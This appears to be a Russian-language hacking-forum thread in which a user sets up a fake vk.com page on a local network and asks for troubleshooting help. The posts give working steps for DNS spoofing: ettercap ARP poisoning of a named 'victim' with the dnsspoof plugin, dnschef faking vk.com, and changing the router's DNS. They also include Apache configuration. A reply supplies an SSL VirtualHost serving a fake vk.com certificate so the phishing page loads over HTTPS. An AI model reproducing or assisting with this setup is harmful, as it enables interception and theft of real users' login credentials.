Ну т.е. я в правильном направлении копаю? Я поднял апач на 443 порте и теперь мне нужно создать и выпустить самоподписанный сертификат? А запустить фейк на http я не могу, не получается, появляются проблемы, которые я описал выше, пишет, что сайт недоступен
Запустить можешь. Но http://vk.com/ всегда редиректит на htttps, поэтому в истории браузера сохраняются ссылки только https://vk.com. Если человек никогда не заходил на vk.com со своего браузера, при вводе адреса vk.com, он попадет на твой фейк http://vk.com. Если заходил - попадет на https://vk.com/. При переходе по прямой ссылке http://vk.com/ тоже должен открываться фейк без редиректа. Экспериментируй с разными вариантами, не надо упираться в один.
нет, всё не так, я заходил с браузеров, с которых не разу в вк не заходил, переходил по прямой ссылке http://vk.com/ и тоже сайт не отвечает, я 3 поста назад заснял видео с экрана на котором было видно, что я напрямую тоже вводил и http://vk.com/ и http://vk.com:443/
Почистил кэш, повторил действия, проблема осталась. Попробовал другой метод, без вписания ип тачки в роутер, запускаю апач, запускаю dnsspoof, потом ettercap, там target 1 я выбираю ип жертвы, target 2 ип роутера, в плагинах выбираю dnsspoof и начинаю сниффинг (прописав предварительно в etter.conf и etter.dns нужные параметры) по идеи у парней с ютубчика работает, запускаю у себя и ... при переходе на vk.com сайт впадает в бесконечную загрузку, хотя пинганул и всё проходит как надо - vk.com идёт на ип моей тачки, а всё остальное идёт по своим ип. Подозреваю, что у меня какие то траблы с апачем (хотя ради чистоты эксперимента я пытался сделать всё тоже самое на виртуалке с чистой kali)
<VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost> # vim: syntax=apache ts=4 sw=4 sts=4 sr noet
нашёл одну вещь, скажите она у всех так или только у меня. прописывая service apache2 status увидел такую строчку kali apachectl[2524]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Сделал, снова, все сайты открываются, vk.com 'Не удаётся открыть страницу'. Хотя если я ввожу локальный ип кали то фейк открывается. Почему то именно если вводить домен - не работает, а если чисто ип то открывает
curl -vv http://vk.com/ выдаёт скелет страницы фейка, а вот история с https root@kali:~# curl -vv https://vk.com/ * Trying 192.168.0.103... * TCP_NODELAY set * connect to 192.168.0.103 port 443 failed: В соединении отказано * Failed to connect to vk.com port 443: В соединении отказано * Closing connection 0 curl: (7) Failed to connect to vk.com port 443: В соединении отказано как это пофиксить?
Итоги после недавних опытов. Настройки были таковы: 1) В файле less /etc/apache2/sites-enabled/* раскомментировал и изменил строчку #ServerName www.example.com на ServerName vk.com, а начало файла теперь выглядит так "<VirtualHost *:80 *:443>" 2) Открыл 443 порт командой iptables -I INPUT -p tcp --dport 443 -j ACCEPT, затем командой a2enmod ssl включил модуль ssl, чтобы апач слушал 443 порт 3) Дабы проверить прослушиваемые порты ввёл команду lsof -nP -i, вот результат: apache2 3722 www-data 4u IPv6 63084 0t0 TCP *:80 (LISTEN) apache2 3722 www-data 6u IPv6 63088 0t0 TCP *:443 (LISTEN) 4) В роутере поменял ип днс, запустил апач командой service apache2 start, далее запустил днсчеф командой dnschef -i 192.168.0.103 --fakeip 192.168.0.103 --fakedomains vk.com, прослушка траффика пошла, вижу запросы 5) Далее, чтобы убедиться, что все остальные сайты кроме vk.com открываются нормально, а vk.com фейково ввожу команду ping, результаты: PING google.com (173.194.44.68) 56(84) bytes of data. 64 bytes from 173.194.44.68 (173.194.44.68): icmp_seq=1 ttl=116 time=11.6 ms PING vk.com (192.168.0.103) 56(84) bytes of data. 64 bytes from kali (192.168.0.103): icmp_seq=1 ttl=64 time=0.030 ms 6) Результаты команды curl -vv https://vk.com/ (пишу только результаты https, потому что http показывает скелет фейка сайта, а он слишком большой для данного поста) * Trying 192.168.0.103... * TCP_NODELAY set * Connected to vk.com (192.168.0.103) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * TLSv1.3 (OUT), TLS handshake, Client hello (1): * error:1408F10B:SSL routines:ssl3_get_record:wrong version number * Closing connection 0 curl: (35) error:1408F10B:SSL routines:ssl3_get_record:wrong version number 7) Результаты команды telnet 192.168.0.103 80 Trying 192.168.0.103... Connected to 192.168.0.103. Escape character is '^]'. Connection closed by foreign host. И результат команды 192.168.0.103 443 Trying 192.168.0.103... Connected to 192.168.0.103. Escape character is '^]'. Connection closed by foreign host. 8) Заметил такой факт, что при запуске команды service apache2 status присутствует такая строчка: kali apachectl[3712]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message 9) Тестирую, работает ли фейк, ввожу в адресной строке браузера localhost и 192.168.0.103, фейк открывается 10) Ну и собственно, чищу днс кэш командой /etc/init.d/networking restart (на линукс) и ipconfig /flushdns (на винде) и пробую запустить вк в браузере: Ошибка при установлении защищённого соединения При соединении с vk.com произошла ошибка. SSL получило запись, длина которой превышает максимально допустимую. Код ошибки: SSL_ERROR_RX_RECORD_TOO_LONG Господа, после всей изложенной информации у Вас есть ещё варианты как это пофиксить, прилизать и пригладить для корректной работы? ))) Быть может я ошибся в командах или где то не увидел ошибку, пожайлуста помогите
Вы сейчас пускаете Апач без SSL на 443 порту, поэтому и вылазит везде ошибка, а вот если зададите http://vk.com:443/ то у вас появится копия vk.com. Редактируйте файл конфига апача под /etc/apache2/sites-enabled/* поменяйте <VirtualHost *:80 *:443> снова на <VirtualHost *:80> и добавьте в конце после </VirtualHost> Code: <VirtualHost *:443> SSLEngine on SSLCertificateFile /etc/ssl/fake_vk.com.cert # Измените на путь, где лежит ваш фэйковый сертификат SSLCertificateKeyFile /etc/ssl/fake_vk.com.key # Измените на путь, где лежит ключ к клюху к вашему фейковому сертификату ServerAdmin root@localhost ServerName vk.com DocumentRoot /var/www/html </VirtualHost> затем активируйте конфиг Code: service apache2 restart Ну и посмотрите как минимум https://help.ubuntu.ru/wiki/apache2